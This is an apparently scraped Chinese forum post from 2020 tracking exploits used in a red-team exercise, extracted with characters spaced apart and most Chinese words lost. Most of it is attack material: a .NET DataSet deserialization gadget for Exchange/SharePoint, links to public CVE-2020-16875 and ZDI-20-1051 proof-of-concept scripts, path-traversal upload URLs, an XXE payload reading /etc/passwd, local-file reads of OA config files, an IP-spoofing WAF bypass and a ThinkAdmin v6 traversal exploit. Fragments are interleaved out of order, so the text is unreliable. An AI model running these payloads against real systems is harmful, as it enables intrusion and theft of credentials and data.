[18932] 2020-09-15_HVV近期漏洞持续跟踪ing

文档创建者:s7ckTeam
浏览次数:14
最后更新:2025-01-18
2020-09-15_HVV近期漏洞持续跟踪ing H V V i n g I D L a b   2 0 2 0 - 0 9 - 1 5 访 E x c h a n g e   S e r v e r   S h a r e P o i n t 1 . 使 y s o s e r i a l p a y l o a d 2 . p a y l o a d p o c 3 . i i s c a l c . e x e p o x . x m l u r l h t t p : / / I P : 8 0 / u a i / n e w D e v R e g i s t / u p d a t e D e v U p l o a d i n f o . h t m 2 0 1 9 0 4 - 1 S P h t t p : / / I P : 8 0 / u a i / d o w n l o a d / u p l o a d f i l e T o P a t h . h t m h t t p : / / I P : 8 0 / u a i / n e w D e v R e g i s t / n e w D e v R e g i s t / n e w D e v R e g i s t / . . ; / . . ; / u p d a t e D e v U p l o a d i n f o . h t m 2 0 1 9 0 4 - 1 S P h t t p : / / I P : 8 0 / u a i / d o w n l o a d / d o w n l o a d / d o w n l o a d / . . ; / . . ; / u p l o a d f i l e T o P a t h . h t m   使 1 . 1 . 1 . 1 @ 1 2 7 . 0 . 0 . 1 : 8 8 6 0 p o n g E x c h a n g e E x c h a n g e P O C h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p y . t x t h t t p s : / / s r c i n c i t e . i o / p o c s / c v e - 2 0 2 0 - 1 6 8 7 5 . p s 1 . t x t < D a t a S e t >     < x s : s c h e m a   x m l n s = " "   x m l n s : x s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x m l n s : m s d a t a = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - m s d a t a "   i d = " s o m e d a t a s e t " >         < x s : e l e m e n t   n a m e = " s o m e d a t a s e t "   m s d a t a : I s D a t a S e t = " t r u e "   m s d a t a : U s e C u r r e n t L o c a l e = " t r u e " >             < x s : c o m p l e x T y p e >                 < x s : c h o i c e   m i n O c c u r s = " 0 "   m a x O c c u r s = " u n b o u n d e d " >                     < x s : e l e m e n t   n a m e = " E x p _ x 0 0 2 0 _ T a b l e " >                         < x s : c o m p l e x T y p e >                             < x s : s e q u e n c e >                                 < x s : e l e m e n t   n a m e = " p w n "   m s d a t a : D a t a T y p e = " S y s t e m . D a t a . S e r v i c e s . I n t e r n a l . E x p a n d e d W r a p p e r ` 2 [ [ S y s t e m . W e b . U I . L o s F o r m a t t e r ,   S y s t e m . W e b ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 0 3 f 5 f 7 f 1 1 d 5 0 a 3 a ] , [ S y s t e m . W i n d o w s . D a t a . O b j e c t D a t a P r o v i d e r ,   P r e s e n t a t i o n F r a m e w o r k ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = 3 1 b f 3 8 5 6 a d 3 6 4 e 3 5 ] ] ,   S y s t e m . D a t a . S e r v i c e s ,   V e r s i o n = 4 . 0 . 0 . 0 ,   C u l t u r e = n e u t r a l ,   P u b l i c K e y T o k e n = b 7 7 a 5 c 5 6 1 9 3 4 e 0 8 9 "   t y p e = " x s : a n y T y p e "   m i n O c c u r s = " 0 " / >                             < / x s : s e q u e n c e >                         < / x s : c o m p l e x T y p e >                     < / x s : e l e m e n t >                 < / x s : c h o i c e >             < / x s : c o m p l e x T y p e >         < / x s : e l e m e n t >     < / x s : s c h e m a >     < d i f f g r : d i f f g r a m   x m l n s : m s d a t a = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - m s d a t a "   x m l n s : d i f f g r = " u r n : s c h e m a s - m i c r o s o f t - c o m : x m l - d i f f g r a m - v 1 " >         < s o m e d a t a s e t >             < E x p _ x 0 0 2 0 _ T a b l e   d i f f g r : i d = " E x p   T a b l e 1 "   m s d a t a : r o w O r d e r = " 0 "   d i f f g r : h a s C h a n g e s = " i n s e r t e d " >                 < p w n   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a " >                 < E x p a n d e d E l e m e n t / >
A p a c h e   C o c o o n   X M L a p a c h e C o c o o n 使 S t r e a m G e n e r a t o r , H o r d e   G r o u p w a r e   W e b m a i l   E d i t i o n   :   h t t p s : / / s r c i n c i t e . i o / p o c s / z d i - 2 0 - 1 0 5 1 . p y . t x t 1 , - > , 2 ,   / w x j s a p i / s a v e Y Z J F i l e ? f i l e N a m e = t e s t & d o w n l o a d U r l = f i l e : / / / D : / & f i l e E x t = t x t 3 + , , n g i n x 访 D                 < E x p a n d e d E l e m e n t / >                 < P r o j e c t e d P r o p e r t y 0 >                         < M e t h o d N a m e > D e s e r i a l i z e < / M e t h o d N a m e >                         < M e t h o d P a r a m e t e r s >                                 < a n y T y p e   x m l n s : x s i = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a - i n s t a n c e "   x m l n s : x s d = " h t t p : / / w w w . w 3 . o r g / 2 0 0 1 / X M L S c h e m a "   x s i : t y p e = " x s d : s t r i n g " > p a y l o a d < / a n y T y p e >                         < / M e t h o d P a r a m e t e r s >                         < O b j e c t I n s t a n c e   x s i : t y p e = " L o s F o r m a t t e r " > < / O b j e c t I n s t a n c e >                 < / P r o j e c t e d P r o p e r t y 0 >                 < / p w n >             < / E x p _ x 0 0 2 0 _ T a b l e >         < / s o m e d a t a s e t >     < / d i f f g r : d i f f g r a m > < / D a t a S e t > < ! - - ? x m l   v e r s i o n = " 1 . 0 "   ? - - > < ! D O C T Y P E   r e p l a c e   [ < ! E N T I T Y   e n t   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >   ] > < u s e r I n f o > < f i r s t N a m e > J o h n < / f i r s t N a m e >   < l a s t N a m e > & e n t ; < / l a s t N a m e > < / u s e r I n f o > d : / / e b r i d g e / / t o m c a t / / w e b a p p s / / R O O T / / W E B - I N F / / c l a s s e s / / i n i t . p r o p e r t i e s d : / O A / t o m c a t 8 / w e b a p p s / O A M S / W E B - I N F / c l a s s e s / d b c o n f i g . p r o p e r t i e s   O A
W A F X F F I P I P X F F 访 I P T h i n k A d m i n   v 6   / h t t p s : / / g i t h u b . c o m / z o u j i n g l i / T h i n k A d m i n / i s s u e s / 2 4 4 e x p h t t p : / / t h i n k . a d m i n / T h i n k A d m i n / p u b l i c / a d m i n . h t m l ? s = a d m i n / a p i . U p d a t e / n o d e P O S T : r u l e s = [ " / " ] 使 . . / 穿 r u l e s = [ " . . / . . / . . / " ] c o n f i g p u b l i c / s t a t i c p u b l i c / r o u t e r . p h p p u b l i c / i n d e x . p h p a p p / a d m i n a p p / w e c h a t $ n a m e d a t a b a s e . p h p 1 . t x t p u b l i c / s t a t i c / . . / . . / 1 . t x t d a t a b a s e . p h p L i n u x W i n d o w s " . p u b l i c / s t a t i c / . . / . . / c o n f i g / d a t a b a s e " p h p e n c o d e ( ) 3 4 3 9 2 q 3 0 2 x 2 r 1 b 3 7 3 8 2 p 3 8 2 x 2 r 1 b 1 a 1 a 1 b 1 a 1 a 1 b 2 r 3 3 3 2 2 u 2 x 2 v 1 b 2 s 2 p 3 8 2 p 2 q 2 p 3 7 2 t 0 y 3 4 2 w 3 4

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则